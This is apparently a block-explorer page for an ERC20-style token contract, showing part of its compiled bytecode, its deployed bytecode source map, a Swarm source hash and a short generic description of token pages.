0e5c565b9350610ec8818560208601610e6c565b610ed181610e94565b840191505092915050565b5f6020820190508181035f830152610ef48184610ea4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f2982610f00565b9050919050565b610f3981610f1f565b8114610f43575f80fd5b50565b5f81359050610f5481610f30565b92915050565b610f6381610e21565b8114610f6d575f80fd5b50565b5f81359050610f7e81610f5a565b92915050565b5f8060408385031215610f9a57610f99610efc565b5b5f610fa785828601610f46565b9250506020610fb885828601610f70565b9150509250929050565b5f8115159050919050565b610fd681610fc2565b82525050565b5f602082019050610fef5f830184610fcd565b92915050565b5f805f6060848603121561100c5761100b610efc565b5b5f61101986828701610f46565b935050602061102a86828701610f46565b925050604061103b86828701610f70565b9150509250925092565b5f60ff82169050919050565b61105a81611045565b82525050565b5f6020820190506110735f830184611051565b92915050565b5f6020828403121561108e5761108d610efc565b5b5f61109b84828501610f46565b91505092915050565b6110ad81610f1f565b82525050565b5f6020820190506110c65f8301846110a4565b92915050565b5f80604083850312156110e2576110e1610efc565b5b5f6110ef85828601610f46565b925050602061110085828601610f46565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61113e602083610e5c565b91506111498261110a565b602082019050919050565b5f6020820190508181035f83015261116b81611132565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6111cc602683610e5c565b91506111d782611172565b604082019050919050565b5f6020820190508181035f8301526111f9816111c0565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61125a602483610e5c565b915061126582611200565b604082019050919050565b5f6020820190508181035f8301526112878161124e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112e8602283610e5c565b91506112f38261128e565b604082019050919050565b5f6020820190508181035f830152611315816112dc565b9050919050565b5f8151905061132a81610f5a565b92915050565b5f6020828403121561134557611344610efc565b5b5f6113528482850161131c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61139282610e21565b915061139d83610e21565b92508282039050818111156113b5576113b461135b565b5b92915050565b5f6113c582610e21565b91506113d083610e21565b92508282026113de81610e21565b915082820484148315176113f5576113f461135b565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61143382610e21565b915061143e83610e21565b92508261144e5761144d6113fc565b5b828204905092915050565b5f61146382610e21565b915061146e83610e21565b92508282019050808211156114865761148561135b565b5b9291505056fea264697066735822122012cff54467663c0f3d7a6a36cb4b4e66d230e23910a0bc1712ae0c82af32259964736f6c63430008180033

Deployed Bytecode Sourcemap

3772:4610:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4573:54;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5176:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7322:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5529:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5843:256;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8296:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5727:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2918:103;;;:::i;:::-;;2267:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5628;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8132:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4531:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5389:132;;;:::i;:::-;;6837:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3176:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4573:54;;;;:::o;5176:83::-;5213:13;5246:5;;;;;;;;;;;;;;;;;5239:12;;5176:83;:::o;7322:150::-;7388:4;7405:37;7414:10;7426:7;7435:6;7405:8;:37::i;:::-;7460:4;7453:11;;7322:150;;;;:::o;5529:91::-;5573:7;5600:12;;5593:19;;5529:91;:::o;5843:256::-;5932:4;5949:36;5959:6;5967:9;5978:6;5949:9;:36::i;:::-;5996:73;6005:6;6013:10;6025:43;6061:6;6025:11;:19;6037:6;6025:19;;;;;;;;;;;;;;;:31;6045:10;6025:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5996:8;:73::i;:::-;6087:4;6080:11;;5843:256;;;;;:::o;8296:83::-;8337:5;8362:9;;;;;;;;;;;8355:16;;8296:83;:::o;5727:110::-;5784:7;5811:9;:18;5821:7;5811:18;;;;;;;;;;;;;;;;5804:25;;5727:110;;;:::o;2918:103::-;2498:12;:10;:12::i;:::-;2487:23;;:7;:5;:7::i;:::-;:23;;;2479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2983:30:::1;3010:1;2983:18;:30::i;:::-;2918:103::o:0;2267:87::-;2313:7;2340:6;;;;;;;;;;;2333:13;;2267:87;:::o;5628:::-;5667:13;5700:7;;;;;;;;;;;;;;;;;5693:14;;5628:87;:::o;8132:156::-;8201:4;8218:40;8228:10;8240:9;8251:6;8218:9;:40::i;:::-;8276:4;8269:11;;8132:156;;;;:::o;4531:33::-;;;;:::o;5389:132::-;2498:12;:10;:12::i;:::-;2487:23;;:7;:5;:7::i;:::-;:23;;;2479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5462:5:::1;5446:13;;:21;;;;;;;;;;;;;;;;;;5497:15;5483:30;;;;;;;;;;5389:132::o:0;6837:134::-;6909:7;6936:11;:18;6948:5;6936:18;;;;;;;;;;;;;;;:27;6955:7;6936:27;;;;;;;;;;;;;;;;6929:34;;6837:134;;;;:::o;3176:238::-;2498:12;:10;:12::i;:::-;2487:23;;:7;:5;:7::i;:::-;:23;;;2479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3299:1:::1;3279:22;;:8;:22;;::::0;3257:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3378:28;3397:8;3378:18;:28::i;:::-;3176:238:::0;:::o;6979:335::-;7089:1;7072:19;;:5;:19;;;7064:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7170:1;7151:21;;:7;:21;;;7143:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7252:6;7222:11;:18;7234:5;7222:18;;;;;;;;;;;;;;;:27;7241:7;7222:27;;;;;;;;;;;;;;;:36;;;;7290:7;7274:32;;7283:5;7274:32;;;7299:6;7274:32;;;;;;:::i;:::-;;;;;;;;6979:335;;;:::o;7480:644::-;7584:1;7568:18;;:4;:18;;;7560:27;;;;;;7615:1;7606:6;:10;7598:19;;;;;;7628:12;7699:15;7724:14;;;;;;;;;;;7717:32;;;7750:4;7717:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7699:56;;7786:4;7770:21;;:4;:21;;;;:46;;;;;7803:13;;;;;;;;;;;7795:21;;:4;:21;;;;7770:46;7766:190;;;7841:73;7910:3;7841:64;7862:16;;7852:7;:26;:52;;7891:13;;7852:52;;;7881:7;7852:52;7841:6;:10;;:64;;;;:::i;:::-;:68;;:73;;;;:::i;:::-;7834:80;;7766:190;;;7952:1;7945:8;;7766:190;7984:27;8004:6;7984:9;:15;7994:4;7984:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;7966:9;:15;7976:4;7966:15;;;;;;;;;;;;;;;:45;;;;8039:35;8069:4;8039:25;8057:6;8039:9;:13;8049:2;8039:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;8023:9;:13;8033:2;8023:13;;;;;;;;;;;;;;;:51;;;;8105:2;8090:26;;8099:4;8090:26;;;8109:6;8090:26;;;;;;:::i;:::-;;;;;;;;7549:575;;7480:644;;;:::o;735:148::-;793:7;826:1;821;:6;;813:15;;;;;;839:9;855:1;851;:5;;;;:::i;:::-;839:17;;874:1;867:8;;;735:148;;;;:::o;1430:98::-;1483:7;1510:10;1503:17;;1430:98;:::o;3574:191::-;3648:16;3667:6;;;;;;;;;;;3648:25;;3693:8;3684:6;;:17;;;;;;;;;;;;;;;;;;3748:8;3717:40;;3738:8;3717:40;;;;;;;;;;;;3637:128;3574:191;:::o;542:185::-;600:7;629:1;624;:6;620:23;;640:1;633:8;;;;620:23;653:9;669:1;665;:5;;;;:::i;:::-;653:17;;698:1;693;689;:5;;;;:::i;:::-;:10;681:19;;;;;;718:1;711:8;;;542:185;;;;;:::o;891:147::-;949:7;981:1;977;:5;969:14;;;;;;994:9;1010:1;1006;:5;;;;:::i;:::-;994:17;;1029:1;1022:8;;;891:147;;;;:::o;386:148::-;444:7;464:9;480:1;476;:5;;;;:::i;:::-;464:17;;505:1;500;:6;;492:15;;;;;;525:1;518:8;;;386:148;;;;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;442:99::-;494:6;528:5;522:12;512:22;;442:99;;;:::o;547:169::-;631:11;665:6;660:3;653:19;705:4;700:3;696:14;681:29;;547:169;;;;:::o;722:246::-;803:1;813:113;827:6;824:1;821:13;813:113;;;912:1;907:3;903:11;897:18;893:1;888:3;884:11;877:39;849:2;846:1;842:10;837:15;;813:113;;;960:1;951:6;946:3;942:16;935:27;784:184;722:246;;;:::o;974:102::-;1015:6;1066:2;1062:7;1057:2;1050:5;1046:14;1042:28;1032:38;;974:102;;;:::o;1082:377::-;1170:3;1198:39;1231:5;1198:39;:::i;:::-;1253:71;1317:6;1312:3;1253:71;:::i;:::-;1246:78;;1333:65;1391:6;1386:3;1379:4;1372:5;1368:16;1333:65;:::i;:::-;1423:29;1445:6;1423:29;:::i;:::-;1418:3;1414:39;1407:46;;1174:285;1082:377;;;;:::o;1465:313::-;1578:4;1616:2;1605:9;1601:18;1593:26;;1665:9;1659:4;1655:20;1651:1;1640:9;1636:17;1629:47;1693:78;1766:4;1757:6;1693:78;:::i;:::-;1685:86;;1465:313;;;;:::o;1865:117::-;1974:1;1971;1964:12;2111:126;2148:7;2188:42;2181:5;2177:54;2166:65;;2111:126;;;:::o;2243:96::-;2280:7;2309:24;2327:5;2309:24;:::i;:::-;2298:35;;2243:96;;;:::o;2345:122::-;2418:24;2436:5;2418:24;:::i;:::-;2411:5;2408:35;2398:63;;2457:1;2454;2447:12;2398:63;2345:122;:::o;2473:139::-;2519:5;2557:6;2544:20;2535:29;;2573:33;2600:5;2573:33;:::i;:::-;2473:139;;;;:::o;2618:122::-;2691:24;2709:5;2691:24;:::i;:::-;2684:5;2681:35;2671:63;;2730:1;2727;2720:12;2671:63;2618:122;:::o;2746:139::-;2792:5;2830:6;2817:20;2808:29;;2846:33;2873:5;2846:33;:::i;:::-;2746:139;;;;:::o;2891:474::-;2959:6;2967;3016:2;3004:9;2995:7;2991:23;2987:32;2984:119;;;3022:79;;:::i;:::-;2984:119;3142:1;3167:53;3212:7;3203:6;3192:9;3188:22;3167:53;:::i;:::-;3157:63;;3113:117;3269:2;3295:53;3340:7;3331:6;3320:9;3316:22;3295:53;:::i;:::-;3285:63;;3240:118;2891:474;;;;;:::o;3371:90::-;3405:7;3448:5;3441:13;3434:21;3423:32;;3371:90;;;:::o;3467:109::-;3548:21;3563:5;3548:21;:::i;:::-;3543:3;3536:34;3467:109;;:::o;3582:210::-;3669:4;3707:2;3696:9;3692:18;3684:26;;3720:65;3782:1;3771:9;3767:17;3758:6;3720:65;:::i;:::-;3582:210;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:225::-;7145:34;7141:1;7133:6;7129:14;7122:58;7214:8;7209:2;7201:6;7197:15;7190:33;7005:225;:::o;7236:366::-;7378:3;7399:67;7463:2;7458:3;7399:67;:::i;:::-;7392:74;;7475:93;7564:3;7475:93;:::i;:::-;7593:2;7588:3;7584:12;7577:19;;7236:366;;;:::o;7608:419::-;7774:4;7812:2;7801:9;7797:18;7789:26;;7861:9;7855:4;7851:20;7847:1;7836:9;7832:17;7825:47;7889:131;8015:4;7889:131;:::i;:::-;7881:139;;7608:419;;;:::o;8033:223::-;8173:34;8169:1;8161:6;8157:14;8150:58;8242:6;8237:2;8229:6;8225:15;8218:31;8033:223;:::o;8262:366::-;8404:3;8425:67;8489:2;8484:3;8425:67;:::i;:::-;8418:74;;8501:93;8590:3;8501:93;:::i;:::-;8619:2;8614:3;8610:12;8603:19;;8262:366;;;:::o;8634:419::-;8800:4;8838:2;8827:9;8823:18;8815:26;;8887:9;8881:4;8877:20;8873:1;8862:9;8858:17;8851:47;8915:131;9041:4;8915:131;:::i;:::-;8907:139;;8634:419;;;:::o;9059:221::-;9199:34;9195:1;9187:6;9183:14;9176:58;9268:4;9263:2;9255:6;9251:15;9244:29;9059:221;:::o;9286:366::-;9428:3;9449:67;9513:2;9508:3;9449:67;:::i;:::-;9442:74;;9525:93;9614:3;9525:93;:::i;:::-;9643:2;9638:3;9634:12;9627:19;;9286:366;;;:::o;9658:419::-;9824:4;9862:2;9851:9;9847:18;9839:26;;9911:9;9905:4;9901:20;9897:1;9886:9;9882:17;9875:47;9939:131;10065:4;9939:131;:::i;:::-;9931:139;;9658:419;;;:::o;10083:143::-;10140:5;10171:6;10165:13;10156:22;;10187:33;10214:5;10187:33;:::i;:::-;10083:143;;;;:::o;10232:351::-;10302:6;10351:2;10339:9;10330:7;10326:23;10322:32;10319:119;;;10357:79;;:::i;:::-;10319:119;10477:1;10502:64;10558:7;10549:6;10538:9;10534:22;10502:64;:::i;:::-;10492:74;;10448:128;10232:351;;;;:::o;10589:180::-;10637:77;10634:1;10627:88;10734:4;10731:1;10724:15;10758:4;10755:1;10748:15;10775:194;10815:4;10835:20;10853:1;10835:20;:::i;:::-;10830:25;;10869:20;10887:1;10869:20;:::i;:::-;10864:25;;10913:1;10910;10906:9;10898:17;;10937:1;10931:4;10928:11;10925:37;;;10942:18;;:::i;:::-;10925:37;10775:194;;;;:::o;10975:410::-;11015:7;11038:20;11056:1;11038:20;:::i;:::-;11033:25;;11072:20;11090:1;11072:20;:::i;:::-;11067:25;;11127:1;11124;11120:9;11149:30;11167:11;11149:30;:::i;:::-;11138:41;;11328:1;11319:7;11315:15;11312:1;11309:22;11289:1;11282:9;11262:83;11239:139;;11358:18;;:::i;:::-;11239:139;11023:362;10975:410;;;;:::o;11391:180::-;11439:77;11436:1;11429:88;11536:4;11533:1;11526:15;11560:4;11557:1;11550:15;11577:185;11617:1;11634:20;11652:1;11634:20;:::i;:::-;11629:25;;11668:20;11686:1;11668:20;:::i;:::-;11663:25;;11707:1;11697:35;;11712:18;;:::i;:::-;11697:35;11754:1;11751;11747:9;11742:14;;11577:185;;;;:::o;11768:191::-;11808:3;11827:20;11845:1;11827:20;:::i;:::-;11822:25;;11861:20;11879:1;11861:20;:::i;:::-;11856:25;;11904:1;11901;11897:9;11890:16;;11925:3;11922:1;11919:10;11916:36;;;11932:18;;:::i;:::-;11916:36;11768:191;;;;:::o

Swarm Source

ipfs://12cff54467663c0f3d7a6a36cb4b4e66d230e23910a0bc1712ae0c82af322599
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.